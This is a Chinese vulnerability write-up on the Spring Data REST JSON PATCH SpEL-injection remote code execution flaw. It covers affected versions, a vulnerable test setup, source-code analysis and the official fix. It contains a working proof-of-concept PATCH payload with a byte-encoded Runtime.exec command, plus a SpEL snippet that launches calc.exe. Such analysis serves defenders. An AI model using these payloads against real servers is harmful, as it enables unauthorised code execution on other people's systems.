标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2025-774]   作者: ecawen 发表于: [2017-10-04]  [2017-10-04]被用户:ecawen 修改过

本文共 [710] 位读者顶过

本文相关资料:

github.com/JavaPenteste

[出自:jiwo.org]

漏洞描述

  • 漏洞描述

Spring Data Rest 在处理 PATCH 请求时存在RCE高危漏洞, 可以使用手工构造的JSON数据构造恶意PATCH请求提交至spring-data-rest服务器,使得服务器运行恶意JAVA代码。Spring Data Rest项目的目标是提供一种灵活的、可配置的机制,编写出可以对外暴露出HTTP协议的简单服务。

Git地址: github.com/spring-proje

Spring Data REST versions 2.5.12, 2.6.7, 3.0 RC3之前的版本

Spring Boot versions 2.0.0M4 之前的版本

Spring Data release trains Kay-RC3 之前的版本

  • 漏洞发现者

This vulnerability was responsibly reported by Man Yue Mo from Semmle and
lgtm.com.备注: Semmle是一家提供代码审计和分析的信息服务公司,它最为出名的一款产品为为SemmleCode。SemmleCode是一种静态软件分析包,可用于查找编程bug模式、计算软件度量,以及执行编码约定。


漏洞复现

参考Spring boot官方文档,搭建存在spring-data-rest远程代码执行漏洞的靶机环境,pom.xml所需组件内容如下。靶机示例代码可以下载

github.com/JavaPenteste

 org.springframework.bootspring-boot-dependencies1.4.3.RELEASEpomimportorg.springframework.bootspring-boot-starter-data-rest1.4.3.RELEASEorg.springframework.bootspring-boot-starter-data-jpa1.4.3.RELEASEorg.springframeworkspring-beanscom.h2databaseh21.4.193runtimecom.jayway.jsonpathjson-path2.2.0testjavax.persistencepersistence-api1.0junitjunit4.12test

1、创建实体类

 @Entity
public
class Product {
   @Id
   @GeneratedValue(strategy = GenerationType.AUTO)
   private long  id;

   @Column
   private String name;

   @Column
   private long price;
    ………………..getter setter
}


2、创建Repository接口

@RepositoryRestResource(collectionResourceRel= "product", path = "product")
public interface ProductService extends PagingAndSortingRepository {
}

ProductService是一个继承PagingAndSortingRepository的接口,可以实现对Product对象进行各种操作。在应用运行的时候,Spring-Data-REST将自动创建此接口的实现。然后,它将使用@RepositoryRestResource注解让Spring MVC在/people路径处作为restful接口的入口点。

3、spring boot 启动程序

@SpringBootApplication
public class SpringDataRestApplication {
    public static void main(String[] args) {
        SpringApplication.run(SpringDataRestApplication.class, args);
    }
}

4、创建product实体记录

向服务器端发送 HTTP JSON PATCH请求用于修改产品价格,其中请求体header的contente-type值必须遵循规范设为 Content-Type:application/json-patch+json。

修改id为1的product的price值为88,JSON Path提交的数据必须包含path和op字段, op表示具体操作, path用于定位准确数据字段。根据RFC2616标准文档定义,op定义了以下几种操作:add、remove、replace、move、copy、test等。

从官方漏洞修补的方案来看,客户端传入的JSONPATCH path会转换成Spel表达式。然而在执行PatchOperation.evaluateValueFromTarget方法时, 程序未进行安全校验从而触发远程代码执行漏洞。官方增加了verifyPath方法用于检验path有效性,根据给定的source和type提取出PropertyPath的链式路径,底层主要通过反射方式进行处理,如果生成失败,则抛出PatchException,漏洞也就没有办法触发。

我们构造如下POC触发spring-data-rest的远程代码执行漏洞:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{109,107,100,105,114,32,45,112,32,47,116,109,112,47,116,101,115,116}))/price", "value": "88" }]

RCE漏洞成功触发


原理分析

1 HTTP JSON PATCH方法

PATCH方法是新引入的,是对PUT方法的补充,用来对已知资源进行局部更新。在HTTP原本的定义中[RFC2616],用于上传数据的方法只有POST和PUT。后来鉴于POST和PUT语义和功能上的不足,又加入了PATCH方法[RFC5789]

JSON PATCH请求方法IETF制定了标准RFC6902,必须包含一个path和op字段, op表示具体操作, path用于定位准确数据字段。PATCH操作可以用类似于这样的指令"set
field x to this value"来解释。JSON Patch有自己的MIME类型: application/json-patch+json. RFC6902标准文档可以参考:tools.ietf.org/html/rfc


2 spel表达式语言

Spel(Spring Excpression Language)是Spring3开始提供的通用表达式语言工具,语法与ognl表达式十分类似。Spel是一个很强大的工具用于在运行查询和操纵作对象图。Spel语言的语法类似于统一标准的el表达式,但提供额外的特性。最为显著的是方法调用和基本字符串模板处理方法。

Spel语言基本特性包括:字面值表达式、布尔和关系型操作、正则表达式、类表达式、访问属性,数组,列表,map、方法调用、关系操作、赋值、调用构造函数、Bean的引用、构建数组、三元运算符等。

Spel表达式语言基本使用方法地址:

docs.spring.io/spring/d


3
漏洞源码审计

JsonPatchHandler处理器用于处理HTTP Json Patch类型请求。




publicT apply(IncomingRequest request, T target) throws Exception {
   Assert.notNull(request, "Request  must not be null!");
   Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
   Assert.notNull(target, "Target  must not be null!");

  if (request.isJsonPatchRequest()) {
      return applyPatch(request.getBody(), target);
  } else {
    return applyMergePatch(request.getBody(), target);
  }
}

request.isJsonPatchRequest用于判断是否为Json Patch 类型请求。

public boolean isJsonPatchRequest() {
	return isPatchRequest() 
	&& RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}


JsonPatchPatchConverter用于将JsonNode节点转化为Patch对象,Patch代表一个patch操作列表。


private static String pathNodesToSpEL(String[] pathNodes) {
		StringBuilder spelBuilder = new StringBuilder();

		for (int i = 0; i < pathNodes.length; i++) { String pathNode = pathNodes[i]; if (pathNode.length() == 0) { continue; } if ("~".equals(pathNode)) { spelBuilder.append("[size() - 1]"); continue; } try { int index = Integer.parseInt(pathNode); spelBuilder.append('[').append(index).append(']'); } catch (NumberFormatException e) { if (spelBuilder.length() > 0) {
					spelBuilder.append('.');
				}

				spelBuilder.append(pathNode);
			}
		}

		String spel = spelBuilder.toString();

		if (spel.length() == 0) {
			spel = "#this";
		}

		return spel;
	}



以上为将json patch请求体path解析生成为Spel表达式的执行路径
PatchOperation.pathToExpression(path)
	PathToSpel.pathToSpEL(path)
	PathToSpel.pathNodesToSpEL(path.split("\\/"))
	
Path.app(in, type)
	PatchOperation.perform(in, type)
	ReploaceOperation.setValueOnTarget(target,evaluateValueFromTarget(target, type))
protectedObject evaluateValueFromTarget(Object targetObject, ClassentityType) {
		return value instanceof LateObjectEvaluator
				? ((LateObjectEvaluator) value).evaluate(spelExpression.getValueType(targetObject)) : value;
	}



SpelExpression执行setVaule操作时漏洞被触发。
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp 
= parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').name");
        exp.setValue("", "");
 
未完待续


评论

暂无
发表评论
 返回顶部 
热度(710)
 关注微信